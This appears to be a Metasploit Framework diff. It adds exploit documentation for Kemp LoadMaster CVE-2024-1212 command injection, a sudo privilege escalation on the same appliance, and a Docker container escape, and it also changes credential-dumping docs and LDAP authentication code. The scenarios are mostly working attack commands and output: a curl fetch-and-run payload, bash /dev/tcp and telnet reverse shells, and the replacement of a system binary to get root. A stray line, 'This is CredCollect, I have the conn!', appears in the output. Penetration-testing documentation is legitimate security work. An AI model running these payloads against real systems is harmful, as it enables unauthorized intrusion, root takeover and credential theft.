||||
SSL false no Enable SSL on the LDAP connection
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
|
||||
PASSWORD thePassword123 no The password to authenticate with
|
||||
RHOSTS 172.27.51.83 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
USERNAME normal@daforest.com no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
When ACTION is RUN_QUERY_FILE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml no Path to the JSON or YAML file to load and run queries from
|
||||
|
||||
|
||||
When ACTION is RUN_SINGLE_QUERY:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
QUERY_ATTRIBUTES no Comma separated list of attributes to retrieve from the server
|
||||
QUERY_FILTER no Filter to send to the target LDAP server to perform the query
|
||||
|
||||
Auxiliary action:
|
||||
Name Description
|
||||
---- -----------
|
||||
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
|
||||
|
||||
@@ -39,14 +39,15 @@ If you already have the LDAP base DN, you may set it in this option.
|
||||
msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options
|
||||
|
||||
Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
@@ -2,10 +2,15 @@
|
||||
### Description
|
||||
The `windows_secrets_dump` auxiliary module dumps SAM hashes and LSA secrets
|
||||
(including cached creds) from the remote Windows target without executing any
|
||||
agent locally. First, it reads as much data as possible from the registry and
|
||||
then save the hives locally on the target (`%SYSTEMROOT%\\random.tmp`).
|
||||
Finally, it downloads the temporary hive files and reads the rest of the data
|
||||
from it. These temporary files are removed when it's done.
|
||||
agent locally. This is done by remotely updating the registry key security
|
||||
descriptor, taking advantage of the WriteDACL privileges held by local
|
||||
administrators to set temporary read permissions.
|
||||
|
||||
This can be disabled by setting the `INLINE` option to false and the module
|
||||
will fallback to the original implementation, which consists in saving the
|
||||
registry hives locally on the target (%SYSTEMROOT%\Temp\<random>.tmp),
|
||||
downloading the temporary hive files and reading the data from it. This
|
||||
temporary files are removed when it's done.
|
||||
|
||||
On domain controllers, secrets from Active Directory is extracted using [MS-DRDS]
|
||||
DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes,
|
||||
@@ -43,7 +48,10 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
|
||||
14. Verify the notes are there
|
||||
|
||||
## Options
|
||||
Apart from the standard SMB options, no other specific options are needed.
|
||||
|
||||
### INLINE
|
||||
Use inline technique to read protected keys from the registry remotely without
|
||||
saving the hives to disk (default: true).
|
||||
|
||||
## Actions
|
||||
|
||||
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
CVE-2024-1212: Progress Kemp LoadMaster Unauthenticated Command Injection
|
||||
|
||||
For more details on the vulnerability:
|
||||
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
|
||||
|
||||
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
|
||||
|
||||
A trial VM which the exploit should work against out of the box can be downloaded from:
|
||||
https://sso.kemptechnologies.com/register/kemp/vlm
|
||||
|
||||
The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
|
||||
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw
|
||||
|
||||
## Verification Steps
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection`
|
||||
1. Do: `set RHOSTS <target loadmaster>`
|
||||
1. Do: `set RPORT <port loadmaster is running on>`
|
||||
1. Do: `set LHOST <your host IP>`
|
||||
1. Do: `run`
|
||||
1. You should get a shell as the `bal` user.
|
||||
1. (Optional) use the module `exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024` to gain root privileges.
|
||||
1. (Optional) use the script `run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc` to automatically run the above module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### LoadMaster 7.2.59.0.22007
|
||||
|
||||
``` msf
|
||||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > show options
|
||||
|
||||
Module options (exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.5.134.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
|
||||
asploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The URI path to LoadMaster
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME GyzwtIbxq no Name to use on remote system when storing payload; cannot contain spaces or slash
|
||||
es
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp/ yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > run
|
||||
|
||||
[*] Command to run on remote host: curl -so /tmp/LlipoMVy http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/LlipoMVy; /tmp/LlipoMVy &
|
||||
[*] Fetch handler listening on 10.5.135.201:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /RByzlSnTzclKDpvXskXIrg
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 10.5.134.141:443 is vulnerable...
|
||||
[+] The target is vulnerable.
|
||||
[*] Sending payload...
|
||||
[*] Client 10.5.134.141 requested /RByzlSnTzclKDpvXskXIrg
|
||||
[*] Sending payload to 10.5.134.141 (curl/7.77.0)
|
||||
[+] Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell
|
||||
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.141:29264) at 2024-04-12 17:08:57 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.134.141
|
||||
OS : SuSE 7.2 (Linux 4.14.137)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: bal
|
||||
```
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module performs a container escape onto the host as the daemon user. It
|
||||
takes advantage of the SYS_MODULE capability. If that exists and the linux
|
||||
headers are available to compile on the target, then we can escape onto the host.
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
- Get a VM that you want to test on (or your own machine)
|
||||
- Install Docker
|
||||
- Run a listener (can be anything but this example will make use of the msfconsole `cmd/unix/reverse_bash` payload)
|
||||
```msf
|
||||
msf6 > use payload/cmd/unix/reverse_bash
|
||||
msf6 payload(cmd/unix/reverse_bash) > set lhost vboxnet0
|
||||
lhost => 192.168.56.1
|
||||
msf6 payload(cmd/unix/reverse_bash) > generate -f raw
|
||||
bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118'
|
||||
msf6 payload(cmd/unix/reverse_bash) > exploit -z
|
||||
[*] Payload Handler Started as Job 0
|
||||
msf6 payload(cmd/unix/reverse_bash) >
|
||||
[*] [2023.11.07-21:28:57] Started reverse TCP handler on 192.168.56.1:4444
|
||||
```
|
||||
- Create a privileged container (forwarding port 4444 in this example in order
|
||||
to use a bind shell from the host. Container must be the same OS as host)
|
||||
```bash
|
||||
docker run --rm -it --cap-add SYS_MODULE ubuntu bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118'
|
||||
```
|
||||
- Inside your session, install the required packages to run. Package manager will differ to OS, for debian as an example
|
||||
```bash
|
||||
apt update && apt install -y gcc make kmod linux-headers-$(uname -r)
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Install required packages into session (line 30)
|
||||
4. Run `use exploit/linux/local/docker_privileged_container_kernel_escape`
|
||||
5. Run `set SESSION [session]`
|
||||
6. Run `check`
|
||||
7. Run `set PAYLOAD [payload]`
|
||||
8. Run `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### KernelModuleName
|
||||
|
||||
The name that the kernel module will be called in the system. The default if no
|
||||
name is set is "{rand(8)}"
|
||||
|
||||
### WritableContainerDir
|
||||
|
||||
A directory where we can write files inside the container (default is `/tmp/.{rand(4)}`).
|
||||
This is needed to drop the payload into the container.
|
||||
|
||||
### ReloadKernelModule
|
||||
|
||||
Rebuilds and reloads kernel module if its already loaded in case of repeat runs.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Container Escape from debian linux with reverse bash
|
||||
|
||||
```msf
|
||||
msf6 > sessions -i 1 -c "apt update && apt install -y gcc make kmod linux-headers-$(uname -r)"
|
||||
[*] Running 'apt update && apt install -y gcc make kmod linux-headers-$(uname -r)' on shell session 1 (192.168.56.126)
|
||||
msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check
|
||||
[*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z
|
||||
|
||||
[*] [2023.11.07-21:42:40] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] [2023.11.07-21:42:42] Creating files...
|
||||
[*] [2023.11.07-21:42:43] Compiling the kernel module...
|
||||
[+] [2023.11.07-21:42:43] Kernel module compiled successfully
|
||||
[*] [2023.11.07-21:42:43] Loading kernel module...
|
||||
[*] Command shell session 3 opened (192.168.56.1:4444 -> 192.168.56.126:60974) at 2023-11-07 21:42:50 -0500
|
||||
[*] This is CredCollect, I have the conn!
|
||||
```
|
||||
|
||||
### Container Escape from arch linux with meterpreter
|
||||
|
||||
```msf
|
||||
msf6 > sessions -i 2 -c "pacman -Syy --noconfirm gcc glibc make linux-headers"
|
||||
[*] Running 'pacman -Syy --noconfirm gcc glibc make linux-headers' on shell session 2 (192.168.56.106)
|
||||
msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 2
|
||||
session => 2
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set lhost vboxnet0
|
||||
lhost => vboxnet0
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check
|
||||
[*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable
|
||||
msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z
|
||||
|
||||
[*] [2023.11.07-21:48:40] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] [2023.11.07-21:48:41] Creating files...
|
||||
[*] [2023.11.07-21:48:43] Compiling the kernel module...
|
||||
[+] [2023.11.07-21:48:44] Kernel module compiled successfully
|
||||
[*] [2023.11.07-21:48:44] Loading kernel module...
|
||||
[*] [2023.11.07-21:48:44] Sending stage (3045380 bytes) to 192.168.56.106
|
||||
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.106:50402) at 2023-11-07 21:48:45 -0500
|
||||
[*] This is CredCollect, I have the conn!
|
||||
[*] Session 4 created in the background.
|
||||
```
|
||||
+188
@@ -0,0 +1,188 @@
|
||||
## Vulnerable Application
|
||||
Progress Kemp LoadMaster up to at least 7.2.59.2.22338. The vendor is aware of this "feature," but
|
||||
has chosen not to change the behavior. It was originally paired with CVE-2024-1212, but as this
|
||||
privilege escalation was not patched when CVE-2024-1212 was, we split it into its own module.
|
||||
This exploit/feature allows the default `bal` user to run several binaries with the `sudo` prefix
|
||||
that will elevate without prompting for a password. As the configuration is based on filename and
|
||||
the `bal` user has write permissions to these files, the `bal` user can simply write over the existing
|
||||
binary with one of their choosing, then prefix it with `sudo` and launch the binary with `root`
|
||||
privileges.
|
||||
This module defaults to overwrite `/bin/loadkeys` with `/bin/bash`, though other binaries would work,
|
||||
too.
|
||||
|
||||
For more details on the vulnerability:
|
||||
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
|
||||
|
||||
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
|
||||
|
||||
A trial VM which the exploit should work against out of the box can be downloaded from:
|
||||
https://sso.kemptechnologies.com/register/kemp/vlm
|
||||
|
||||
The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
|
||||
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw
|
||||
|
||||
Because this is an appliance, there are limited commands available for command-based payloads.
|
||||
|
||||
## Verification Steps
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Gain a session on a Progress Kemp Loadmaster target as the `bal` user
|
||||
1. Do: `use exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024`
|
||||
1. Do: `set SESSION <session>`
|
||||
1. Do: `set LHOST <your host IP>`
|
||||
1. Do: `run`
|
||||
1. You should get a shell as the `root` user.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### LoadMaster 7.2.59.0.22007
|
||||
#### Metasploit Binary Dropper Payload
|
||||
```msf
|
||||
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options
|
||||
|
||||
Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 1 yes The session to run this module on
|
||||
TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate.
|
||||
WRITABLE_DIR /tmp yes A directory where we can write files
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Dropper
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Found 3 indicators this is a KEMP product
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Writing payload to /tmp/.rypuliojtdch
|
||||
[*] Moving /bin/loadkeys to /tmp/.qyiojnfbnfc
|
||||
[*] Moving /tmp/.rypuliojtdch to /bin/loadkeys
|
||||
[*] Running /bin/loadkeys
|
||||
[+] Deleted /tmp/.rypuliojtdch
|
||||
[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.134.141:28850) at 2024-05-10 08:50:39 -0500
|
||||
[*] Moving /tmp/.qyiojnfbnfc to /bin/loadkeys
|
||||
[+] /bin/loadkeys returned to original contents
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.134.141
|
||||
OS : SuSE 7.2 (Linux 4.14.137)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
|
||||
|
||||
```
|
||||
|
||||
#### Reverse Bash Command Payload
|
||||
```msf
|
||||
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options
|
||||
|
||||
Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION 1 yes The session to run this module on
|
||||
TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate.
|
||||
WRITABLE_DIR /tmp yes A directory where we can write files
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run
|
||||
|
||||
[+] sh -c '(sleep 4376|telnet 10.5.135.201 4444|while : ; do sh && break; done 2>&1|telnet 10.5.135.201 4444 >/dev/null 2>&1 &)'
|
||||
[*] Started reverse TCP double handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Found 3 indicators this is a KEMP product
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Preparing payload command
|
||||
[*] Moving /bin/loadkeys to /tmp/.mnqdvfwutfd
|
||||
[*] Moving /bin/bash to /bin/loadkeys
|
||||
[*] Running payload command
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo igZFhKRnh9GplIdu;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nigZFhKRnh9GplIdu\r\n"
|
||||
[*]
|
||||
[*] Moving /tmp/.mnqdvfwutfd to /bin/loadkeys
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[+] /bin/loadkeys returned to original contents
|
||||
|
||||
ls
|
||||
azurelinuxagent
|
||||
bin
|
||||
cgroup
|
||||
dev
|
||||
dmZPnkPUPoV
|
||||
etc
|
||||
initial_setup.sh
|
||||
lib
|
||||
lib64
|
||||
lost+found
|
||||
mnt
|
||||
one4net
|
||||
openssl
|
||||
proc
|
||||
root
|
||||
sbin
|
||||
sks
|
||||
sys
|
||||
tmp
|
||||
user
|
||||
usr
|
||||
var
|
||||
touch tempfile
|
||||
ls -l
|
||||
total 51
|
||||
drwxr-xr-x 5 root root 1024 Mar 22 2023 azurelinuxagent
|
||||
.
|
||||
.
|
||||
.
|
||||
-rw-r--r-- 1 root root 0 May 3 17:02 tempfile
|
||||
.
|
||||
.
|
||||
drwxr-xr-x 12 root root 1024 Mar 21 17:29 var
|
||||
```
|
||||
@@ -282,19 +282,19 @@ module Metasploit::Framework
|
||||
File.open(pass_file, 'r:binary') do |pass_fd|
|
||||
pass_fd.each_line do |pass_from_file|
|
||||
pass_from_file.chomp!
|
||||
if username.present?
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if user_as_pass
|
||||
yield Metasploit::Framework::Credential.new(public: pass_from_file, private: pass_from_file, realm: realm, private_type: :password)
|
||||
end
|
||||
if user_fd
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
user_fd.seek(0)
|
||||
end
|
||||
additional_privates.each do |add_private|
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
next unless user_fd
|
||||
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||
end
|
||||
user_fd.seek(0)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -313,6 +313,17 @@ module Metasploit::Framework
|
||||
end
|
||||
end
|
||||
|
||||
additional_privates.each do |add_private|
|
||||
if username.present?
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||
end
|
||||
user_fd.seek(0)
|
||||
end
|
||||
|
||||
additional_publics.each do |add_public|
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'rex/proto/ldap/auth_adapter'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LDAP
|
||||
@@ -24,18 +26,16 @@ module Metasploit
|
||||
|
||||
case opts[:ldap_auth]
|
||||
when Msf::Exploit::Remote::AuthOption::SCHANNEL
|
||||
raise Msf::ValidationError, 'The SSL option must be enabled when using SCHANNEL authentication.' unless ssl
|
||||
|
||||
connect_opts.merge!(ldap_auth_opts_scahnnel(opts))
|
||||
connect_opts.merge!(ldap_auth_opts_schannel(opts, ssl))
|
||||
when Msf::Exploit::Remote::AuthOption::KERBEROS
|
||||
connect_opts.merge!(ldap_auth_opts_kerberos(opts))
|
||||
connect_opts.merge!(ldap_auth_opts_kerberos(opts, ssl))
|
||||
when Msf::Exploit::Remote::AuthOption::NTLM
|
||||
connect_opts.merge!(ldap_auth_opts_ntlm(opts))
|
||||
connect_opts.merge!(ldap_auth_opts_ntlm(opts, ssl))
|
||||
when Msf::Exploit::Remote::AuthOption::PLAINTEXT
|
||||
connect_opts.merge!(ldap_auth_opts_plaintext(opts))
|
||||
when Msf::Exploit::Remote::AuthOption::AUTO
|
||||
if opts[:username].present? && opts[:domain].present?
|
||||
connect_opts.merge!(ldap_auth_opts_ntlm(opts))
|
||||
connect_opts.merge!(ldap_auth_opts_ntlm(opts, ssl))
|
||||
elsif opts[:username].present?
|
||||
connect_opts.merge!(ldap_auth_opts_plaintext(opts))
|
||||
end
|
||||
@@ -46,14 +46,15 @@ module Metasploit
|
||||
|
||||
private
|
||||
|
||||
def ldap_auth_opts_kerberos(opts)
|
||||
def ldap_auth_opts_kerberos(opts, ssl)
|
||||
auth_opts = {}
|
||||
raise Msf::ValidationError, 'The Ldap::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank?
|
||||
raise Msf::ValidationError, 'The LDAP::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank?
|
||||
raise Msf::ValidationError, 'The DOMAIN option is required when using Kerberos authentication.' if opts[:domain].blank?
|
||||
|
||||
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(opts[:ldap_krb_offered_enc_types])
|
||||
raise Msf::ValidationError, 'At least one encryption type is required when using Kerberos authentication.' if offered_etypes.empty?
|
||||
|
||||
sign_and_seal = opts.fetch(:sign_and_seal, !ssl)
|
||||
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new(
|
||||
host: opts[:domain_controller_rhost].blank? ? nil : opts[:domain_controller_rhost],
|
||||
hostname: opts[:ldap_rhostname],
|
||||
@@ -64,58 +65,41 @@ module Metasploit
|
||||
framework_module: opts[:framework_module],
|
||||
cache_file: opts[:ldap_krb5_cname].blank? ? nil : opts[:ldap_krb5_cname],
|
||||
ticket_storage: opts[:kerberos_ticket_storage],
|
||||
offered_etypes: offered_etypes
|
||||
offered_etypes: offered_etypes,
|
||||
mutual_auth: true,
|
||||
use_gss_checksum: sign_and_seal || ssl
|
||||
)
|
||||
|
||||
auth_opts[:auth] = {
|
||||
method: :sasl,
|
||||
mechanism: 'GSS-SPNEGO',
|
||||
initial_credential: proc do
|
||||
kerberos_result = kerberos_authenticator.authenticate
|
||||
kerberos_result[:security_blob]
|
||||
end,
|
||||
challenge_response: true
|
||||
method: :rex_kerberos,
|
||||
kerberos_authenticator: kerberos_authenticator,
|
||||
sign_and_seal: sign_and_seal
|
||||
}
|
||||
|
||||
auth_opts
|
||||
end
|
||||
|
||||
def ldap_auth_opts_ntlm(opts)
|
||||
def ldap_auth_opts_ntlm(opts, ssl)
|
||||
auth_opts = {}
|
||||
ntlm_client = RubySMB::NTLM::Client.new(
|
||||
(opts[:username].nil? ? '' : opts[:username]),
|
||||
(opts[:password].nil? ? '' : opts[:password]),
|
||||
workstation: 'WORKSTATION',
|
||||
domain: opts[:domain].blank? ? '.' : opts[:domain],
|
||||
flags:
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:UNICODE] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:REQUEST_TARGET] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:NTLM] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:ALWAYS_SIGN] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:EXTENDED_SECURITY] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:VERSION_INFO]
|
||||
)
|
||||
|
||||
negotiate = proc do |challenge|
|
||||
ntlmssp_offset = challenge.index('NTLMSSP')
|
||||
type2_blob = challenge.slice(ntlmssp_offset..-1)
|
||||
challenge = [type2_blob].pack('m')
|
||||
type3_message = ntlm_client.init_context(challenge)
|
||||
type3_message.serialize
|
||||
end
|
||||
|
||||
auth_opts[:auth] = {
|
||||
method: :sasl,
|
||||
mechanism: 'GSS-SPNEGO',
|
||||
initial_credential: ntlm_client.init_context.serialize,
|
||||
challenge_response: negotiate
|
||||
# use the rex one provided by us to support TLS channel binding (see: ruby-ldap/ruby-net-ldap#407) and blank
|
||||
# passwords (see: WinRb/rubyntlm#45)
|
||||
method: :rex_ntlm,
|
||||
username: opts[:username],
|
||||
password: opts[:password],
|
||||
domain: opts[:domain],
|
||||
workstation: 'WORKSTATION',
|
||||
sign_and_seal: opts.fetch(:sign_and_seal, !ssl)
|
||||
}
|
||||
|
||||
auth_opts
|
||||
end
|
||||
|
||||
def ldap_auth_opts_plaintext(opts)
|
||||
auth_opts = {}
|
||||
raise Msf::ValidationError, 'Can not sign and seal when using Plaintext authentication.' if opts.fetch(:sign_and_seal, false)
|
||||
|
||||
auth_opts[:auth] = {
|
||||
method: :simple,
|
||||
username: opts[:username],
|
||||
@@ -124,10 +108,12 @@ module Metasploit
|
||||
auth_opts
|
||||
end
|
||||
|
||||
def ldap_auth_opts_scahnnel(opts)
|
||||
def ldap_auth_opts_schannel(opts, ssl)
|
||||
auth_opts = {}
|
||||
pfx_path = opts[:ldap_cert_file]
|
||||
raise Msf::ValidationError, 'The LDAP::CertFile option is required when using SCHANNEL authentication.' if pfx_path.blank?
|
||||
raise Msf::ValidationError, 'The SSL option must be enabled when using Schannel authentication.' unless ssl
|
||||
raise Msf::ValidationError, 'The LDAP::CertFile option is required when using Schannel authentication.' if pfx_path.blank?
|
||||
